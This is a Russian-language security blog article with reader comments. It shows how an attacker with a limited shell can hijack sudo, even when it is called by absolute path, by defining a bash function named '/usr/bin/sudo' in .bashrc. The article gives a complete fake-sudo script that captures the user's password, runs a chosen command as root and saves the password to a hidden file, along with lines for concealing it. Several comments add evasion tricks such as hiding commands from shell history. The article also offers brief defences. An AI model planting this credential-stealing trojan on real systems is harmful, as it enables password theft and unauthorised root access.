image


Идея редактирования переменных окружения пользователя для повышения прав при тестировании на проникновение стара как мир. По этой теме написано множество статей, и даже в книгах начали появляться советы по использованию абсолютного пути вместо относительного. Вот пример такого совета из довольно известной книги Unix и Linux. Руководство системного администратора (4 издание):


…
Рекомендуем взять за правило при вводе команды указывать полное имя, например /bin/su или /usr/bin/su, а не просто su. Это послужит определенной защитой от тех программ с именем su, которые преднамеренно были прописаны в переменной среды path злоумышленником, намеревавшимся собрать хороший “урожай” паролей.
…

Но так ли это безопасно? Если вы тоже задавались этим вопросом, то добро пожаловать под кат.



Давайте по порядку. Допустим, мы попали на *nix сервер под учетной записью пользователя с ограниченными правами. Мы хотим получить права рута, но паролей мы не знаем. Допустим, мы перепробовали все стандартные способы повышения прав через ошибки в конфигурациях и различные эксплойты под ядро, но всё безрезультатно. Казалось бы, вариантов не осталось. Однако, если пользователь есть в группе sudo, то можно попробовать провернуть один трюк.


Идея заключается в том, что на большинстве *nix машин используется sudo для временного повышения прав. При использовании sudo пользователю требуется ввести его текущий пароль. Следовательно, знание пароля пользователя с доступом к sudo даёт нам рута.


Почти все современные *nix сервера используют bash или zsh в качестве стандартной командной оболочки. У них есть файлы конфигов (например, .bashrc для bash), которые хранятся в домашней директории. С их помощью можно изменить в командной оболочке почти всё. По умолчанию они имеют права 644 (-rw-r--r--), следовательно, владелец может их редактировать без особых проблем.


Суть заключается в том, что командные оболочки имеют alias`ы, с помощью которых можно укорачивать команды.


Например, стандартный alias из .bashrc:


alias ll='ls -alF'

При вызове ll на самом деле будет вызываться ls –alF. Аналогично мы можем поступить с sudo:


alias sudo='echo PWNED'

После этого выполнение команды sudo по относительному пути будет вызывать то, что мы указали в alias`е.


image{1.png}


Использовать слеши в alias нельзя, поэтому абсолютный путь действительно является безопасным решением в данном случае. Так же абсолютный путь спасёт в случае редактирования переменной окружения PATH.


А теперь рассмотрим случай, в котором абсолютный путь не спасёт. В конфигурация можно создавать функции, которые работают аналогично alias`ам за исключением того, что в их именах можно использовать слеши:


function /usr/bin/sudo() {
        echo PWNED
}

Теперь вызов /usr/bin/sudo будет тоже выполнять наш код.


image{2.png}


Следующий этап – написание скрипта, который будет вести себя аналогично sudo (спрашивать пароль и повышать права пользователя), но одновременно с этим перехватывать пароль пользователя и выполнять произвольный код с правами администратора.


В конце концов, мы получим исполнение нашего скрипта при попытке вызвать sudo через абсолютный или относительный путь.


Для начала пишем код ядовитого sudo:


#!/bin/bash

echo -n "[sudo] password for $LOGNAME: "
read -s password
echo

command='whoami'

eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"

Он спрашивает пароль пользователя в стиле sudo, после чего сохраняет его в переменную, выполняет наш код с повышенными правами и затем выполняет то, что хотел пользователь.
Теперь прячем его в какую-нибудь неприметную папку (например ~/.local) и выставляем на него +x права на исполнение (chmod +x sudo). Имя файла нам, по сути, безразлично, так что лучше его тоже назвать как-нибудь неприметно (например, .config).


С помощью read -s password мы считываем пароль в переменную $password.
В переменной command='whoami' содержится команда, которую мы будем выполнять с повышенными правами.


Конструкция echo -e $password | sudo -S в данном случае используется для того, чтобы передать нашу переменную с паролем $password в sudo через stdin.


--prompt='' нужно для того, чтобы реальное sudo не выводило сообщение о просьбе ввода пароля, когда мы к ней обратимся, иначе это будет выглядеть несколько подозрительно.


Теперь нужно найти полный путь до sudo с помощью whereis. Например, /usr/bin/sudo. Поправим .bashrc так, чтобы команды sudo и /usr/bin/sudo запускали наш скрипт. Для этого нужно записать в .bashrc (куда-нибудь в центр для неприметности) следующий код, который следует отредактировать под себя:


alias sudo='~/.local/.config'
function /usr/bin/sudo() {
        eval "~/.local/.config $*"
}

Проверяем:


image{3.png}


Профит. Теперь попробуем сохранить пароль пользователя в файл. Для этого заменим текущую команду.


command="echo $password > ~/.local/.1"

Пробуем:


image{4.png}


Всё получилось. qwerty123 и есть пароль пользователя. Остаётся еще множество частных случаев, при которых наш скрипт может повести себя некорректно. Например, sudo su или sudo --help. Поскольку в этой статье мы рассматриваем только возможность реализации подобной атаки, то процесс доведения её до блеска я перекладываю на плечи читателя.


Теперь вы знаете, что использование абсолютного пути в *nix системах не так уж безопасно.


А теперь главный вопрос: как же защититься от возможной атаки? На мой взгляд, оптимальным вариантом будет разрешить редактирование .bashrc только из под root`а. Конечно, есть второй вариант, но он менее удобный и безопасный: постоянно проверять целостность конфигов.


Спасибо за внимание :)

Поделиться с друзьями
-->

Комментарии (133)


  1. phoenixweiss
    21.02.2017 17:32
    +1

    С одной стороны ничего принципиально нового, но с другой стороны — правда, все так и есть и мало кто об этом задумывается. Как правило в случае утечки рутовых доступов лучше сносить контейнер вообще нафиг, перед этим постаравшись забэкапить что возможно. У нас однажды году в 2012-м через один PHP-сайтик доставшийся в наследство от прошлых разработчиков ломали сервак сделав нечто подобное, залив код спионеривания пароля.
    С тех пор пароли везде отключены, все движения и привелегии только по RSA-ключам и сайтики на PHP после кого-бы-то-нибыло ни за какие деньги не берем в обслуживание, особенно на каких-то сомнительных админках. Да и с 2013-го в работе только Ruby/Rails используем, через дефолтный деплой-паттерн по deploy-ключам, так что руками никто никуда не влезает вообще. На особо важных серверах доступ руту к ssh вообще заблокирован, только через отдельного пользователя по ключам.
    А если быть честным — никогда нельзя быть ни от чего застрахованным и произойти может что угодно. На любую меру безопасности есть контр-мера, вопрос только в том чтобы найти оптимальный уровень удобный для работы но при этом относительно безопасный.


    1. phoenixweiss
      21.02.2017 21:51
      +3

      Господа минусующие, напоминаю что на хабре существуют комментарии. Было бы крайне интересно послушать в чем я не прав и возможно сделать какие-то выводы.


      1. maximw
        22.02.2017 00:00
        +5

        Рискну предположить, что это связано с высказанной вами слишком слабой или даже ложной корреляцией языка программирования и дырявости сайта. Плюс, возможно, связано с тем, что вы поставили крест на языке программирования, толком не разобравшись в современных инструментах деплоя его (языка) экосистемы.


        1. phoenixweiss
          22.02.2017 04:36

          Спасибо. Понятное дело что сейчас есть и современные инструменты деплоя, но к сожалению сайтики которые достаются «на доработку» после горе-фрилансеров чаще всего бывают написаны на какой-нибудь джумле, симпле, старом изувеченном вордпрессе или спионеренном битриксе, временами со всякой вирусней. Ничего предвзятого — личная статистика. В период с 2008-го по 2013-й год с просьбами «спасите помогите» по разным причинам нам передали порядка 12 сайтов с разными проблемами, из них 3 на Ruby/Rails и 9 на PHP(разные CMS). Так вот, рельсовые были просто написаны тяп-ляп но вполне пригодны к обслуживанию(как минимум вся история коммитов была у каждого, т.к. это часть инфраструктуры), а вот PHP-братья практически все (кроме одного, который делали относительно адекватные люди) были с полным букетом всевозможных гадостей начиная от вирусни которая почему-то случайным образом поудаляла строки из каждого третьего скрипта, и заканчивая невыпиленными якобы-nulled модулями которые по своей сути являлись троянцами, где-то были обфусцированные виртуальные шеллы. В общем — зоопарк да и только. У нас даже сервер отдельный был для этого дела, с говорящим именем kenny.
          Я не хочу никого обидеть лично, но к сожалению многие PHP-проекты работающие в интернете до сих пор, работают без СКВ на сомнительных виртуальных хостингах и на непонятных CMS разного розлива. Да, к тому времени как стали появляться современные фреймворки на PHP уже были написаны миллионы говносайтов.
          Я не утверждаю что один язык лучше другого, я говорю лишь о том что не все кошки — львы, но все львы — кошки.


  1. lega
    21.02.2017 17:33
    +2

    А теперь главный вопрос: как же защититься от возможной атаки?
    * Для «анонимов» делать отдельную учетную запись, в убунте есть «гостевая сессия».
    * Если подключение через ssh — авторизоваться заново сразу в рута ключами (т.е. без использования sudo).


  1. GH0st3rs
    21.02.2017 17:36

    Круто, спасибо за ещё один метод. Однако функции можно объявлять и прямо в оболочке, так что проверка конфига не спасёт:


    1. yar1k01
      21.02.2017 18:07

      функция продержится только для этой сессии и скорее всего незаметной не останется.


      1. GH0st3rs
        21.02.2017 18:10
        +1

        Да верно. После закрытия терминала она исчезнет. Но на невнимательных пользователях может сработать. Тем более, если предварительно очистить историю и перетереть буфер команд в терминале


        1. Prototik
          21.02.2017 20:05
          +6

          Историю можно не очищать, если перед function вставить пробел.


        1. rPman
          21.02.2017 20:25
          +3

          если добавлять пробел перед командой, то в историю она не попадет


          1. Deosis
            22.02.2017 06:56
            +4

            Команда не попадет в историю если в переменную HISTCONTROL записать ignorespace


  1. delvin-fil
    21.02.2017 18:06

    Не задумывался о такой возможности, спасибо за инфу.
    А теперь вопрос: А можно ли держать все тоже, что и в ~/.bashrc, но с другим именем файла, чтобы изменения в нем не срабатывали?
    Собственно понятно, что имя файла задается в ~/.bash_profile, но вот и его изменить.


    1. BetepokNoname
      21.02.2017 18:20

      В исходниках bash`а путь к .bashrc захардкожен, поэтому единственный способ изменить его — пересобрать bash из исходников.


      http://git.savannah.gnu.org/cgit/bash.git/tree/config-top.h


      /* Default interactive shell startup file. */
      #define DEFAULT_BASHRC "~/.bashrc"


      1. delvin-fil
        21.02.2017 18:28

        Спасибо!
        Что-то подобное предполагал.


  1. oletorr
    21.02.2017 18:24

    \/usr/bin/sudo


    1. Ti_webdev
      21.02.2017 21:00

      % function /usr/bin/sudo() {
              echo PWNED
      }
      % \/usr/bin/sudo            
      PWNED

      zsh


      1. funca
        21.02.2017 21:52
        +3

        $ ///////////////////////usr////bin//sudo
        
        :)


        1. Ti_webdev
          22.02.2017 16:12
          +3

          % function preexec() {
            function $1 {
              echo PWNED
            }
          }
          % ///////////////////////usr////bin//sudo
          PWNED

          zsh


  1. celebrate
    21.02.2017 18:42
    +3

    Я не понял, как мы можем подложить наш .bashrc другому пользователю в хомяк, если у нас туда нет прав?
    Или здесь описан способ подмены .bashrc в собственном хомяке? Но какой в этом смысл?


    1. delvin-fil
      21.02.2017 18:52

      Про подмену речи и не шло.
      alias'ом


      1. celebrate
        21.02.2017 19:13

        Все равно не понимаю: как мы заставим другого пользователя использовать наш алиас?


        1. BetepokNoname
          21.02.2017 19:22
          +1

          Мы работаем только с .bashrc текущего пользователя. Смысл в том, что если пользователь находится в группе sudo и мы получим его пароль, то мы становимся root`ом на сервере. Так что наша задача получить пароль текущего пользователя и повысить права.


          1. celebrate
            21.02.2017 19:25
            -1

            Это типа если пользак от компа отошел и экран не залочил? ))
            Окей, а в случае с сервером — как мы попадем в шелл пользователя, не зная его пароль?


            1. maximw
              21.02.2017 19:41

              Так речь не про получение доступа к пользователю, а про повышение полномочий до рута.


              1. celebrate
                21.02.2017 23:57
                +5

                Статья описывает как угнать пароль у самого себя. Это, несомненно, полезно, но где здесь повышение привилегий до рута, я все равно не понимаю?


                1. maximw
                  22.02.2017 00:06
                  +2

                  Статья о том, как получить пароль от пользователя, к которому уже есть доступ. Например, вы сперли ssh-ключ пользователя или имеете веб-шелл через дырку в сайте. Но чтоб сделать что-то серьезное нужен рут. Если пользователь судоер, то его пароль даст вам эту возможность.


                  1. celebrate
                    22.02.2017 00:18
                    +1

                    Спер ssh-ключ пользователя — отлично, зачем мне теперь пароль?
                    Через дырку в сайте я попал в пользователя с неограниченным судо? То есть веб-сервер работает от пользака с крутыми правами на судо? Вы серьезно?
                    Статья говорит нам о том, что очень небезопасно даже выполнять команды по полному пути, т.к. кто-то уже мог зайти под вами. Ну ок, тогда надо еще написать статью, что очень небезопасно работать на сервере, если вы разместили рутовый ssh-ключ и айпишник сервера на всех форумах Интернета. Тот же смысл…


                    1. VolCh
                      22.02.2017 10:03
                      +2

                      Один ключ от нерутового пользователя в группе sudo/adm не даст вам обычно выполнить команду sudo — нужен ещё пароль пользователя.


                      1. saboteur_kiev
                        03.03.2017 16:19

                        В продакшене пароль на sudo в основном запрашивается, но все таки может и не запрашиваться…


                  1. Scorry
                    22.02.2017 12:14
                    -1

                    Ниже спрашивал, и у вас спрошу: ну, спёрли вы приватный (секретный, закрытый) ключ пользователя. И что? Он же паролем закрыт, правильно? Или есть люди, которые хранят закрытый ключ для доступа к удалённому серверу без пароля? Нет, серьёзно — мне там внизу пара каких-то анонимных «экспертов» по безопасности ставит минусы за очевидные вопросы о вселенской глупости: как можно хранить закрытый ключ без пароля? КАК?


                    1. flaresun
                      22.02.2017 13:00

                      Не в качестве «эксперта», а скорее в качестве КО, выступающего в качестве набюдателя :) — многие юзают ключи только для того, чтобы не вводить пароль для доступа к удалённому серверу, а ввод passphrase для них — это почти то же, от чего они хотят избавиться :)


                      1. Scorry
                        22.02.2017 13:20
                        -1

                        В любом руководстве прямо указывается, что закрытый ключ должен быть закрыт паролем. Это настолько базовые знания, принципы, понятия, что ли, что я даже не знаю, кто из нас больший кэп — я или вы: вы с вашей информацией, что ленивые невежды существуют или я с моим убеждением, что повстречать их здесь было бы странным.

                        Несомненно, существуют люди, выкладывающие ключ под коврик и не оснащающие квартиру сигнализацией. Я также подозреваю, что пара таких «специалистов» минусуют мои очевидные ошарашенные вопросы — личико показать боятся, конечно же, что меня в очередной раз обескураживает совершенно. И эти люди получили сюда инвайт? Серьёзно? Я, рид-онли, должен удивляться уровню их преступной некомпетентности?

                        Да ладно, это понятно, что некомпетентных людей вокруг хватает. Но тут, где существует достаточно требовательная система отбора, где по определению собираются специалисты по IT… Не понимаю.

                        Так и статье надо название сменить, например — «Как хакнуть простофилю, тысяча и один способ».


                        1. VolCh
                          22.02.2017 17:34
                          -1

                          Как админ компа, к которому я предоставляю ssh-доступ другим людям, я не знаю как они хранять свой закрытый ключ, с паролем или без пароля, на токене с тройной аутентификацией или на публичной файловой шаре. Пароль sudo — последний уровень защиты, доступный каждому.


                          1. Scorry
                            22.02.2017 17:54
                            +1

                            Стоп-стоп. Вы указали, что вы — админ, вы отвечаете за безопасность вашего компьютера.

                            И раздаёте судо юзерам?

                            И, раздавая судо юзерам, никак не прогнозируете их халатность и/или злой умысел?

                            Вы точно отвечаете за безопасность этого конкретного компьютера?


                            1. VolCh
                              22.02.2017 18:35

                              Прогнозирую, поэтому ставлю пароль на судо.


                        1. am-amotion-city
                          28.02.2017 13:03
                          +1

                          В любом руководстве прямо указывается, что закрытый ключ должен быть закрыт паролем.

                          Ничего глупее в своей жизни не слышал. Закрытый ключ должен находиться в защищенном месте — вот это правда. Жесткий диск у меня зашифрован, пароль к учетке очень сложен, но уже после того, как я его ввел — не вижу никакого смысла вводить теперь пароль от ключа на каждый чих.


                          Хорошо защищать нужно сам ключ от окружающих, а не его использование от самого себя.


                          1. Scorry
                            28.02.2017 13:24
                            -2

                            Ничего глупее в своей жизни не слышал.

                            Чтение продуктивнее, чем восприятие на слух. Попробуйте воспользоваться советом, прекратить вырывать фразы из контекста и применять частный опыт в дискуссии об общепринятых правилах.


                            1. saboteur_kiev
                              01.03.2017 16:16
                              +2

                              В большинстве случаев, ssh ключи создают для того, чтобы авторизация проходила автоматически, то есть без ввода пароля вручную.

                              Дополнительная возможность защитить паролем ssh ключ — это как опция, которая в моей практике встречалась наверное раза 2 на пару тысяч.


                              1. Scorry
                                01.03.2017 16:35
                                -2

                                Если умело ухватить микроскоп, им отлично можно забивать гвозди. Однако авторизация по ключам для SSH — дополнительный слой безопасности, а не предмет повышенного удобства.

                                Сложившейся практикой может быть, например, плевать под ноги и не мыть руки перед едой. Быстрее же, правда? Если в ВАШЕЙ практике защита приватного ключа паролем — два раза на тысячу, у меня нечего сказать вам обнадёживающего о вашей практике, к сожалению.


                                1. VolCh
                                  01.03.2017 16:46
                                  +3

                                  Авторизация (а точнее аутентификация) по ключам — замена парольной, а не дополнительный слой. В чём-то лучше, в чём-то хуже и по удобству, и по безопасности.


                                  Дополнительный слой защиты ключа по паролю, доступный, как правило, только самому пользователю (я не слышал что атуентифицирующая сторона может отклонить запрос, если ключ без пароля — у неё просто нет информации об этом) вводится на усмотрение пользователя, на его личный баланс между удобством и безопасностью.


                    1. maximw
                      22.02.2017 13:11
                      +2

                      Блин, да статья вообще не про ключ и не про статистику использования passphrase.
                      Статья рассказывает про один вектор атаки с одной целью при заданных исходных условиях. Откуда эти условия взялись — это за рамками статьи. Вы ж не спрашиваете в задачке про землекопов откуда они взяли лопаты, и почему там не экскаватор.


                      1. Scorry
                        22.02.2017 13:24
                        -2

                        Да какой к чёрту вектор атаки, когда атакуемый пренебрегает элементарными рекомендациями по безопасности? Может, тогда ещё статью напишут, как брутфорсить SSH по словарным паролям? Сначала по паролю 123, потом по паролю 12345, потом по паролю qwerty? Вы это серьёзно, что ли, на самом деле — «вектор атаки» и незакрытый приватный ключ в одной статье?


                        1. maximw
                          22.02.2017 13:34
                          +1

                          Доступ к шеллу пользователя можно иметь не только через незакрытый ключ.
                          Можно использовать уязвимости ПО, можно соц. инженерить. Не рассматривали этот вариант?


                          1. Scorry
                            22.02.2017 14:12
                            -3

                            Если опишете такие варианты — рассмотрю, конечно.


                            1. Scorry
                              22.02.2017 18:01
                              -3

                              Я не ощущаю, но вполне понимаю невысказанную боль тех, кто ставит минусы. А буквы набрать кто-то сможет? Пожалуйста, мне на самом деле интересно. Совсем неинтересно видеть вашу молчаливую и оттого бессмысленную оценку моих комментариев.


                              1. saboteur_kiev
                                03.03.2017 16:24

                                Суть в том, что данная статья про то, что запуск приложения по абсолютному пути можно подделать созданием функции. И это еще один вектор атаки.

                                И это не имеет никакого отношения к тому, что вы хотите развести дискуссию про ssh ключи, о чем вам уже говорят прямым текстом.
                                P.S. Хоите пообсуждать — напишите статью, что вы считаете, создавая ssh ключи нужно всегда защищать их паролем, и пообсуждайте это в комментарийх к вашей статье.


                                1. Scorry
                                  03.03.2017 17:37

                                  Если вы читали написанное мной, то должны были понять, что суть в том, что этот вектор атаки существует только против тех, кто использует приватные ключи без шифрования, то есть халатно относится к вопросам безопасности. Если выставить сервер на улицу, против него можно осуществить сотни атак по различным векторам, и причина этого — не наличие вектора атаки, а крайняя неквалифицированность того, кто этот сервер выставит.

                                  Я спросил про условия, дающие возможность использовать данную уязвимость. В ответ — неуверенное мычание про возможную компрометацию веб-шелла, про личное удобство, похищенное устройство и сложившиеся практики. К автору статьи у меня никаких вопросов вообще нет, аб-со-лют-но. Все остальные, бьющие себя пяткой в грудь, и молчаливые подписанты заодно не заслуживают иметь права на sudo нигде вообще, даже на личном сервере.


                                  1. saboteur_kiev
                                    03.03.2017 19:51

                                    Приведите пожалуйста пример, каким образом приватные ключи относятся к выполнению программы по абсолютному пути?

                                    Пример использования данной уязвимости уже приводились в комментариях, в том числе и мной. В основном в виде обсфукации. А вот кидаться в крайности — это не хорошо.


                        1. VolCh
                          22.02.2017 17:35

                          Далеко не факт, что пренебрегает именно атакуемый (владелец сервера), а не кто-то из тех, кому он дал доступ. Ну и вариант, что сперли закрытый ключ вместе с паролем тоже не исключен.


                          1. Scorry
                            22.02.2017 18:14
                            -1

                            сперли закрытый ключ вместе с паролем

                            Согласен, это как раз вариант для применения описанного в статье.

                            Но! — раздавать судо и не задумываться о последствиях хотя бы на секунду — я таких админов не видел, честно говоря. Рут в системе должен быть один.


          1. Scorry
            22.02.2017 00:01
            -2

            Ничего не понял. Поясните, пожалуйста: если пользователь sudoer, то зачем ему все эти танцы? Если пользователь не sudo'er, то как он подложит отравленный .bashrc другому пользователю?


            1. VolCh
              22.02.2017 10:05

              В систему вы от пользователя зашли, но для выполнения sudo нужен пароль. Подменяем sudo и ждём пока пользователь воспользуется и введёт пароль для вас.


              1. Scorry
                22.02.2017 10:57
                -2

                О господи. КАК я зайду в систему без пароля? КАК я зайду в чужой шелл?


                1. zhigalin
                  22.02.2017 11:30

                  О господи, КЛЮЧ, КЛЮЧ же!


                  1. Scorry
                    22.02.2017 12:03
                    -1

                    То есть ещё и похищенный приватный ключ должен быть без парольной защиты, что ли?
                    Что, есть такие люди, серьёзно? Минусаторы, это же вы не закрываете свой приватный ключ паролем, да? Для удобства, да?


                    1. zhigalin
                      22.02.2017 18:01

                      То есть ещё и похищенный приватный ключ должен быть без парольной защиты, что ли?

                      Да, или как вариант ключ спёрли вместе с паролем.

                      Что, есть такие люди, серьёзно?

                      Да туева хуча просто.

                      Минусаторы, это же вы не закрываете свой приватный ключ паролем, да?

                      Вопрос не ко мне.

                      Для удобства, да?

                      Да.


                    1. grossws
                      25.02.2017 20:18

                      Не все осиливают в ssh-agent/gpg-agent/pageant.


                      Ну и вполне валидный вариант, когда ключ используется без пароля — автоматизированные системы, но это, кагбэ, и не локалхост разработчика.


            1. gaelpa
              22.02.2017 10:24
              +1

              Не каждый sudoer прописан с NOPASSWD. Можно получить шелл пользователя, но не иметь возможность выполнить sudo.


              1. Scorry
                22.02.2017 10:58
                -1

                И как можно получить шелл пользователя?


                1. MikailBag
                  22.02.2017 21:41
                  +1

                  Уязвимость.
                  Например, был какой-то shellshock, который позволял выполнять произвольный код.


                1. stat1c_void
                  22.02.2017 22:32
                  -2

                  Ну например

                  помогите, пожалуйста исправить такую программу:

                  cat «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|` (...)'

                  — не печатает

                  :)


                  1. grossws
                    25.02.2017 20:19

                    Рядом с этой строкой важно указывать, что её не стоит запускать, кроме как на тестовой виртуалке. И то найдутся сказочные товарищи, которые попробуют.


                    1. stat1c_void
                      25.02.2017 20:25
                      +2

                      Это очевидно, поэтому я порезал эту строку в конце, чтобы она не работала, не надеясь на всякие предупреждения. "(...)" — это не перл-код…


    1. Finesse
      22.02.2017 02:08

      Смысл в том, чтобы узнать пароль пользователя, в которого вы совершили вход без пароля (по какой-либо причине). А пароль нужен, чтобы выполнять команды от root через sudo.


      1. Scorry
        22.02.2017 11:01
        -1

        Осталось только найти способ (а не причину) войти в шелл пользователя, не зная пароля.


        1. mayorovp
          22.02.2017 15:05

          0day RCE в любом IM-клиенте.


          1. Scorry
            22.02.2017 17:45

            Поделитесь примером, пожалуйста. Можно протухшим.


            1. mayorovp
              22.02.2017 18:54

              https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-1805


              Не на линуксе, прадва… Но неужели вы сомневаетесь в том, что при таком множестве создаваемых "на коленке" клиентов однажды попадется уязвимый?


    1. saboteur_kiev
      23.02.2017 20:08

      Да суть не в этом. В основном прикол в том, шелл — вещь старая, проверенная, и поведение команд в нем предсказуемое.
      А функция, которая подменяет собой запуск файла с указанием прямого пути — штука, которую не каждый самостоятельно найдет даже за много лет. Просто потому что мысль нетривиальная, при этом все так просто…

      В общем серьезной уязвимости в этом нет, но фича нестандартная — это и вызывает удивление.


  1. st0ne_c0ld
    21.02.2017 18:47

    [sarcasm] alias sudo='sudo rm -rf /root_mountpoint' [/sarcasm]

    bash --restricted не спасет нас от нашего сервера (к слову уже скомпрометированного)?


    1. BetepokNoname
      21.02.2017 19:11

      Restricted bash интересный вариант, но при редактирование .bashrc он не поможет. В restricted режиме bash перестаёт воспринимать команды по абсолютным путям и не даёт править PATH, однако мы можем свободно править PATH через .bashrc. Например:


      PATH=~/.local/:$PATH

      После этого создаём в папке ~/.local/ файл sudo со своим содержимым. Profit ;)


      1. st0ne_c0ld
        21.02.2017 20:44

        ОК, тогда это лечится:

        chown root:root .bash_profile .bashrc .profile
        

        дефолтные права 0644 можно оставить.

        PS:
        Может тогда сразу .bash_profile править? ;-)
        # .bash_profile
        
        # Get the aliases and functions
        if [ -f ~/.bashrc ]; then
                . ~/.bashrc
        fi
        
        # User specific environment and startup programs
        
        PATH=$PATH:$HOME/bin
        
        export PATH
        



        1. BetepokNoname
          21.02.2017 22:07

          Изменение владельца файла самый действенный способ в данном случае. По крайней мере он значительно безопаснее и удобнее остальных ;)


          По поводу .bash_profile или .bashrc — разница не велика, просто в случае .bash_profile придётся ждать, пока пользователь перезайдёт в систему, а изменения от .bashrc сработают уже при следующем открытие терминала.


          1. At0mik
            22.02.2017 12:23

            $ sudo chown root:root .bashrc

            к сожалению, сменить владельца не поможет. Пользователь имеет право запись на папку ~/
            $ mv .bashrc .trololo
            $ cat .trololo > .bashrc


            1. st0ne_c0ld
              22.02.2017 13:04

              Отставить панику! :-)

              [root@test1 int2]# chown root:root .bashrc ; chattr +i .bashrc
              [root@test1 int2]# su - int2
              boom
              [int2@test1 ~]$ ls -la .bashrc
              -rw-r--r-- 1 root root 135 Feb 22 17:38 .bashrc
              [int2@test1 ~]$ mv .bashrc 1
              mv: cannot move `.bashrc' to `1': Operation not permitted
              [int2@test1 ~]$
              


              И это я еще не вспомнил про selinux и контексты на файлы.


              1. At0mik
                22.02.2017 14:37

                Не знал что атрибуты могут помочь. Спасибо за идею.

                А вот selinux далеко не у всех задействован. Плюс к этому, правильная его «готовка»… это уже высший пилотаж который мне не доступен.
                Сделать restorecon на файл или «открыть» лишний порт… ok… но не более.


              1. AVX
                23.02.2017 14:45

                А как на reiserfs? Там ведь нет immutable…


        1. selivanov_pavel
          22.02.2017 12:53

          chown root:root .bash_profile .bashrc .profile

          cp .bashrc .bashrc.old
          rm .bashrc
          mv .bashrc.old .bashrc


          В *nix право удаления файла(хардлинка) определяется правами на папку в которой он лежит.


  1. saboteur_kiev
    21.02.2017 19:19
    +2

    По сути, нужно запретить использование слешей в именах функций.

    Можно даже прямо пулл реквестом, с примером злоупотребления.


    1. Oplkill
      21.02.2017 20:46
      -1

      И запретить использовать такие названия как su/sudo и несколько других системных имён


      1. GH0st3rs
        21.02.2017 20:47

        И получим аналог rbash


    1. Lsh
      23.02.2017 13:00

      Я думаю, это решение не с той стороны, шеллов много, все со своими особенностями.
      На мой взгляд, проблема в sudo.
      Почему оно никак не сигнализирует, что пароль получен через перенаправление ввода/вывода?
      Хотя бы можно быстро поменять пароль постфактум.

      Интересно, есть ли механизм чтобы ввод от пользователя получать максимально напрямую?


      1. saboteur_kiev
        23.02.2017 18:34
        +1

        Дело явно не в sudo. Кто мешает написать что-то типа:

        read -p "[sudo] password for $LOGNAME: " -s password
        echo $password > \data\kekeke.lst
        echo "Password error, please try again"
        sudo


      1. ZyXI
        23.02.2017 19:33

        Нету, не через ssh. Максимум вы можете проверить, что ввод идёт с терминала, но сделать stdin терминалом и всё равно отправить туда украденный пароль несложно: такое позволяет, к примеру, скрипт expect на tcl, есть много портов на другие языки.


  1. onix74
    21.02.2017 19:47

    Если бы я попал в сессию пользователя, имеющего возможность поднять привилегии через sudo, я бы просто создал пользователя с известным мне паролем и имеющим возможность использовать sudo и не городил бы огороды с изменениями .bashrc и созданием дополнительных скриптов.
    Статья интересная некоторыми приёмами, которые могут оказаться полезными для выполнения вполне себе легитимных задач.


    1. lega
      21.02.2017 19:54
      +2

      А как вы создадите пользователя без sudo?


      1. onix74
        21.02.2017 19:57

        А! Ну да. Видимо, перетрудился — не подумал


  1. rPman
    21.02.2017 20:32
    +2

    Символы / в имени идентификатора функции это что то за гранью, я в шоке!

    Я считаю эту 'фичу' практически уязвимостью повышения привелегий.

    какие пароли, вы что, достаточно подменить команду, подставляемую в sudo на нашу, и больше ничего не надо! пароли, ключи доступа, внешние устройства авторизации — все идет лесом!

    p.s. существуют ли готовые решения (внешние устройства или хотя бы приложения android) которые на любое превышение полномочий sudo и авторизацию, запрашивают доступ с подтверждением на это внешнее устройство (не просто да/нет а с подробным описанием что именно)?


    1. celebrate
      22.02.2017 00:27

      sudo по дефолту использует PAM-аутентификацию, а значит любые устройства, работающие с PAM, могут быть использованы для sudo. Например, Google Authenticator, который есть для Андроид.


      1. rPman
        22.02.2017 02:37

        Двухфакторная авторизация по таймкодам хороша но не подходит под требование — я должен знать что за операция требует повышение привилегий или доступ к какому серверу ssh требуется и т.п.!

        Какими готовыми инструментами можно настроить передачу и отображение необходимой информации на android устройстве?!
        Мне недостаточно автоматического подтверждения (когда android устройство само передаст необходимую информацию или проведет авторизацию самостоятельно) и недостаточно безликого окошка принять/отказать, я хочу знать кто и зачем требует права! именно это позволит защититься от атак, использующих уязвимость, описанную в статье.


        1. celebrate
          22.02.2017 11:41

          То есть пользователь вводит команду и ждет аппрува от вас? Тогда наверное лучше оформить запрос в виде служебной записки с подробным объяснением, что и зачем требуется, и обязательно с подписью начальника отдела. Тогда это гарантировано не пройдет мимо вас :)
          Сомневаюсь, что в Линуксе есть готовые решения подобного рода.


          1. rPman
            22.02.2017 13:47
            -1

            Именно, с электронной подписью и логированием, а там где необходимо, внешнее устройство должно хранить приватные ключи и отвечать за шифрование! Еще уровни и зоны ответственности вводить, разные люди (устройства авторизации) отвечают за разные типы действий!

            А вы что думали?

            Конкретно сейчас я бы не отказался просто от того что писал в предыдущем комментарии, развитие системы до корпоративной системы безопасности можно отложить на потом.


            1. celebrate
              22.02.2017 14:09

              Вас спасет SElinux. В нем даже будучи реальным рутом, ты можешь иметь очень ограниченные права в зависимости от своей роли. То бишь все пользаки могут быть рутами, но роль может быть у всех разная. Но готовых политик на этот счет нет, придется все писать самому.


              1. rPman
                22.02.2017 15:29

                вы похоже не понимаете проблемы?

                мне не нужно меня же ограничивать, ограничения не работают когда мне НУЖЕН доступ, мне нужен простой контроль над тем что происходит в системе и парольный менеджер (точнее менеджер доступа) ВНЕ компьютера, в моем сотовом как вариант (или android-часы, идеальный юзкейс).

                сейчас я использую keepass но от паролей хочу уйти, мало того хранилище ключей тоже хочу на сотовом, а вот реальных готовых инструментов для этого НЕТ или я плохо ищу.


                1. celebrate
                  22.02.2017 16:02

                  Отправлять security-лог на телефон? Вы уверены, что этого и правда хотите? Готовы получать сотни сообщений в день? Тогда можно сделать так, чтобы security-лог отправлялся, например, в Slack или Telegram. Это, в принципе, не сложно.


                  1. rPman
                    24.02.2017 00:05

                    Пожалуйста, не нужно за меня придумывать что я хочу, я же очень внятно описал еще три сообщения назад!

